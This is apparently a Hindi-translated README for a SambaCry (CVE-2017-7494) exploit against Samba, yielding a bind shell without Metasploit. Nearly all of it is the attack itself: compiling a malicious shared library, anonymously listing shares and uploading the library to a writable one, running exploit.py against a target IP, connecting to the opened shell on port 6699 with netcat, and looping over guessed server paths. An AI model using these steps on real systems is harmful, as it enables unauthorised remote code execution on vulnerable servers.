
SambaCry (CVE-2017-7494) Samba के लिए exploit | Metasploit के बिना bind shell
SambaCry (CVE-2017-7494) एक्सप्लॉइट का उपयोग करके Samba का दोहन करें (बिना Metasploit के bind shell)
यदि पोर्ट बदलने की आवश्यकता हो, तो bindshell-samba.c की पंक्ति संख्या 68 बदलें और पुनः संकलित करें:

gcc -c -fpic bindshell-samba.c
gcc -shared -o libbindshell-samba.so bindshell-samba.o
कैसे दोहन करें:
शेयर देखें (इस उदाहरण में हम एक अज्ञात उपयोगकर्ता का उपयोग कर रहे हैं):
smbclient -L //192.168.10.131/ -U "" -N
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
publico Disk Publico
IPC$ IPC IPC Service (maq131 server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP CHORA
एक फ़ोल्डर तक पहुँचें और जाँचें कि उपयोगकर्ता के पास लिखने की अनुमति है या नहीं:
smbclient //192.168.10.131/publico -U "" -N
यदि लिखने की अनुमति है, तो फ़ाइल libbindshell-samba.so भेजें
smb: \> mput libbindshell-samba.so
Put file libbindshell-samba.so? yes
putting file libbindshell-samba.so as \libbindshell-samba.so (3.5 kb/s) (average 3.5 kb/s)
smb: \> dir
. D 0 Tue Nov 1 19:44:15 2022
.. D 0 Wed Jun 14 14:16:35 2017
libbindshell-samba.so A 8432 Tue Nov 1 19:44:17 2022
3997376 blocks of size 1024. 1960284 blocks available
smb: \>
इसके बाद, एक्सप्लॉइट चलाएँ:
python2 exploit.py -t target_ip -m path_absoluto_server_side
उदाहरण:
python2 exploit.py -t 192.168.10.131 -m /home/publico/libbindshell-samba.so
पोर्ट 6699/TCP पर कनेक्ट करें:
nc -vn 192.168.10.131 6699
यदि सर्वर साइड का पूर्ण PATH नहीं पता है, तो अनुमान लगाना और पोर्ट 6699/TCP खुलने की प्रतीक्षा करना उचित है:
for i in $(cat paths.txt);do python2 exploit.py -t 192.168.10.131 -m $i/publico/libbindshell-samba.so 2>/dev/null;done